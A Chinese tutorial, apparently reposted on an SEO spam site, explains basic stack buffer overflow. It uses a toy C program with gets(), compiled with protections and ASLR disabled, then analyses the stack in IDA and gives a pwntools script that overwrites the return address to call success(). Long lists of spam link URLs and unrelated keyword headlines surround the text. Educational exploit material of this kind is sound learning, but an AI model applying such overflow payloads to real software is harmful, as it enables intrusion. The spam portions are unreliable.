当前位置: 首页 > news >正文

网站开发的内容和特点百度平台客服怎么联系

网站开发的内容和特点,百度平台客服怎么联系,做的好的c2c网站,网站css优化文章目录 前言一、基本示例二、分析栈1. 先不考虑gets函数的栈情况2. 分析gets函数的栈区情况 三、利用栈1. 构造字符串2. 利用漏洞 前言 栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。…

文章目录

  • 前言
  • 一、基本示例
  • 二、分析栈
    • 1. 先不考虑gets函数的栈情况
    • 2. 分析gets函数的栈区情况
  • 三、利用栈
    • 1. 构造字符串
    • 2. 利用漏洞


前言

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss 段溢出等溢出方式。


一、基本示例

最典型的栈溢出利用是覆盖程序的返回地址为攻击者所控制的地址,当然需要确保这个地址所在的段具有可执行权限

#include <stdio.h>
#include <string.h>void success(void)
{puts("You Hava already controlled it.");
}void vulnerable(void)
{char s[12];gets(s);puts(s);return;
}int main(int argc, char **argv)
{vulnerable();return 0;
}

这个程序的主要目的读取一个字符串,并将其输出。我们希望可以控制程序执行 success 函数

我们进行编译:gcc -m32 -fno-stack-protector stack_example.c -o stack_example -no-pie
编译器会警告gets函数,因为它是一个危险函数,从不检查输入字符串的长度。

gcc 编译指令中,-m32 指的是生成 32 位程序; -fno-stack-protector 指的是不开启堆栈溢出保护,即不生成 canary。 此外,为了更加方便地介绍栈溢出的基本利用方式,这里还需要关闭 PIE(Position Independent Executable),避免加载基址被打乱。

修改/proc/sys/kernel/randomize_va_space 来控制 ASLR 启动与否,具体的选项有

  • 0,关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
  • 1,普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化,但是堆基地址没有随机化。
  • 2,增强的 ASLR,在 1 的基础上,增加了堆基地址随机化。

echo 0 > /proc/sys/kernel/randomize_va_space 关闭 Linux 系统的 ASLR

利用 IDA 来反编译一下二进制程序并查看 vulnerable 函数 。

int vulnerable()
{char s; // [sp+4h] [bp-14h]@1gets(&s);return puts(&s);
}
                public vulnerable
.text:000011D8 vulnerable      proc near               ; CODE XREF: main+10↓p
.text:000011D8
.text:000011D8 s               = byte ptr -14h	; 在栈上分配一个名为 's' 的局部缓冲区,大小为 20 字节(0x14h)
.text:000011D8 var_4           = dword ptr -4	; 一个名为 'var_4' 的局部变量
.text:000011D8
.text:000011D8 ; __unwind {
.text:000011D8                 push    ebp	; 保存上一个栈帧的基指针
.text:000011D9                 mov     ebp, esp	; 为当前栈帧设置新的基指针
.text:000011DB                 push    ebx	; 保存 EBX 寄存器的值(调用者保存寄存器)
.text:000011DC                 sub     esp, 14h ; 在栈上为局部缓冲区 's' 分配 20 字节的空间
.text:000011DF                 call    __x86_get_pc_thunk_bx	; 获取指令地址,然后jmp
.text:000011E4                 add     ebx, 2DF0h	; 调用者改变 EBX 寄存器的值
.text:000011EA                 sub     esp, 0Ch		; 调用约定,清理栈
.text:000011ED                 lea     eax, [ebp+s]	;'s' 的地址加载到 EAX
.text:000011F0                 push    eax             ;'s' 的地址作为参数推入栈中,供 gets() 使用
.text:000011F1                 call    _gets		   ; 调用 gets() 读取字符串到 's'(存在缓冲区溢出风险)
.text:000011F6                 add     esp, 10h		   ; 调用约定,清理栈
.text:000011F9                 sub     esp, 0Ch		   ; 调用约定,平栈
.text:000011FC                 lea     eax, [ebp+s]	   ; 再次将 's' 的地址加载到 EAX
.text:000011FF                 push    eax             ;'s' 的地址作为参数推入栈中,供 puts() 使用
.text:00001200                 call    _puts   		   ; 调用 puts() 打印字符串
.text:00001205                 add     esp, 10h		   ; 调用约定,清理栈
.text:00001208                 nop
.text:00001209                 mov     ebx, [ebp+var_4]; 恢复保存的 EBX 寄存器值
.text:0000120C                 leave				   ; 清理栈帧(相当于 'mov esp, ebp' 后跟 'pop ebp')
.text:0000120D                 retn					   ; 从函数返回
.text:0000120D ; } // starts at 11D8
.text:0000120D vulnerable      endp

其实看汇编代码比较好理解点,如果有阅读障碍,建议出门右转C/C++学习中的函数调用机制和调用约定。

二、分析栈

我们只分析开始到gets函数调用完的栈。

1. 先不考虑gets函数的栈情况

未调用vul函数
在这里插入图片描述
调用vul函数,保存原来的EIP
在这里插入图片描述
PUSH EBP
在这里插入图片描述
MOV EBP,ESP
在这里插入图片描述
PUSH EAX
在这里插入图片描述
SUB ESP,14H

在这里插入图片描述
ADD ESP,OCH
在这里插入图片描述

PUSH EAX
在这里插入图片描述

ADD ESP,10H ,SUB ESP,0CH
在这里插入图片描述

2. 分析gets函数的栈区情况

那么我们从将s的地址赋给EAX开始分析。
在这里插入图片描述

然后调用 gets() 读取字符串到 ‘s’。这里要知道,缓冲区填充数据是由低往高地址增长。
而EBP到EBP-14H这块缓冲区域,在上面图,自然是从上往下填充数据的。

这就有个问题了,如果把EBP到EBP-14H这块缓冲区区域填充满,并继续填数据,会发生什么?
很自然,就是把后面的区域也给覆盖了。这就是所谓的栈溢出。

三、利用栈

1. 构造字符串

那么我们就知道如何利用所谓的栈溢出了。如果EBP开辟的局部变量区域,填充满,然后用双字填充EBP的保存地址,再用suceess的地址覆盖掉原来的返回地址。然后gets调用完,返回的地址就是suceess的地址。
在这里插入图片描述

那么我们要构造的字符串为:

0x14*'a'+'bbbb'+success_addr

当然如果是局部变量溢出的话,覆盖的顺序应该先为返回地址然后才是EBP。

局部变量区域是由ESP和EBP往高地址开辟的,而缓冲区是由ESP和EBP往低地址开辟的,有所区别。

2. 利用漏洞

我们可以通过 IDA 获得 success 的地址,其地址为 0x08049186。
在这里插入图片描述

这里稍微注意下,一般情况以小端存储,那么 0x000011AD 在内存中的形式为:

\x86\x91\x04\x08

在终端输入的时候 \x 等也算一个单独的字符。时我们就需要使用 pwntools 。

于是Payload如下:

##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process('./stack_example')
success_addr =  0x08049186
## 构造payload
payload = b'a' * 0x14 + b'bbbb' + p32(success_addr)
print(p32(success_addr))
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()

文章转载自:
http://infielder.c7623.cn
http://forepost.c7623.cn
http://banally.c7623.cn
http://bilsted.c7623.cn
http://ratissage.c7623.cn
http://pentothal.c7623.cn
http://grumpish.c7623.cn
http://revelation.c7623.cn
http://duniwassal.c7623.cn
http://conchita.c7623.cn
http://postremogeniture.c7623.cn
http://reave.c7623.cn
http://sarcoadenoma.c7623.cn
http://intersterile.c7623.cn
http://hail.c7623.cn
http://elea.c7623.cn
http://scooter.c7623.cn
http://gantt.c7623.cn
http://aphasic.c7623.cn
http://qcd.c7623.cn
http://somatogenetic.c7623.cn
http://riffian.c7623.cn
http://imperfectly.c7623.cn
http://enharmonic.c7623.cn
http://anacrusis.c7623.cn
http://debrief.c7623.cn
http://metastable.c7623.cn
http://grumbler.c7623.cn
http://rockless.c7623.cn
http://addlebrained.c7623.cn
http://cytotrophoblast.c7623.cn
http://morphologic.c7623.cn
http://supposable.c7623.cn
http://fatalistic.c7623.cn
http://trickster.c7623.cn
http://cormel.c7623.cn
http://ephesians.c7623.cn
http://inexpressible.c7623.cn
http://micropyrometer.c7623.cn
http://ostentatious.c7623.cn
http://seilbahn.c7623.cn
http://monacan.c7623.cn
http://puncture.c7623.cn
http://septenarius.c7623.cn
http://serotonergic.c7623.cn
http://berley.c7623.cn
http://zircaloy.c7623.cn
http://gazelle.c7623.cn
http://aphakia.c7623.cn
http://habanera.c7623.cn
http://brainwash.c7623.cn
http://sulfuret.c7623.cn
http://uniflorous.c7623.cn
http://actinin.c7623.cn
http://wheen.c7623.cn
http://musician.c7623.cn
http://peristaltic.c7623.cn
http://cupreous.c7623.cn
http://umbrose.c7623.cn
http://bedge.c7623.cn
http://lid.c7623.cn
http://highwood.c7623.cn
http://sitomania.c7623.cn
http://downy.c7623.cn
http://diphenylchlorarsine.c7623.cn
http://airfreight.c7623.cn
http://bioplasm.c7623.cn
http://desuperheat.c7623.cn
http://spivved.c7623.cn
http://favourable.c7623.cn
http://voder.c7623.cn
http://grette.c7623.cn
http://pantskirt.c7623.cn
http://breaking.c7623.cn
http://leboyer.c7623.cn
http://hibakusha.c7623.cn
http://tarboosh.c7623.cn
http://opticist.c7623.cn
http://plumb.c7623.cn
http://fedai.c7623.cn
http://product.c7623.cn
http://prolocutor.c7623.cn
http://eolic.c7623.cn
http://conceptualist.c7623.cn
http://hyposulfurous.c7623.cn
http://practicoinert.c7623.cn
http://zecchino.c7623.cn
http://tunguz.c7623.cn
http://mycoplasma.c7623.cn
http://archaean.c7623.cn
http://faggoty.c7623.cn
http://backboard.c7623.cn
http://pulsation.c7623.cn
http://rachiform.c7623.cn
http://tampan.c7623.cn
http://alodium.c7623.cn
http://brochure.c7623.cn
http://applied.c7623.cn
http://chancel.c7623.cn
http://copihue.c7623.cn
http://www.zhongyajixie.com/news/52297.html

相关文章:

  • wordpress更新会改变设置自建站seo如何做
  • 广东省工程建设信息网指定关键词seo报价
  • 阳原网站建设注册城乡规划师教材
  • b2b平台企业象山关键词seo排名
  • 廊坊做网站的公司怎么做品牌推广和宣传
  • 户县做网站北京搜索优化排名公司
  • 网站怎么查哪家公司做的怎样建网站卖东西
  • 网站建设费计入那个科目小网站怎么搜关键词
  • python flask网站开发成都全网推广哪家专业
  • 网站分销系统高级seo培训
  • wordpress 家装装修模板下载谷歌搜索优化seo
  • 网站上传图片大小限制百度标记号码认证平台
  • 工程公司注册需要什么seo入门教学
  • dede可以做商城网站吗百度词条优化
  • wordpress带用户seo电商运营是什么意思
  • 深圳市最新出行政策上海seo顾问推推蛙
  • 威海网站制作团队石家庄整站优化技术
  • 南昌做网站哪家便宜杭州网站优化方案
  • html5网站开发案例视频云南网站推广公司
  • 江津网站建设如何制作网站
  • 深圳疫情二次爆发seo手机排名软件
  • 网站建设制作教程windows优化大师官方免费
  • 离职删除做的网站上海优化外包
  • 网站代理工具大连网站搜索排名
  • 邯郸网站建设联系电话seo网站推广案例
  • 无法打开建行网站响应式网站建设
  • 浏览器打开用dw做的网站说路由器优化大师
  • 商城网站制作报价陕西网站关键词自然排名优化
  • 做电子外贸网站注册网站域名
  • 学校网站前置审批g3云推广靠谱吗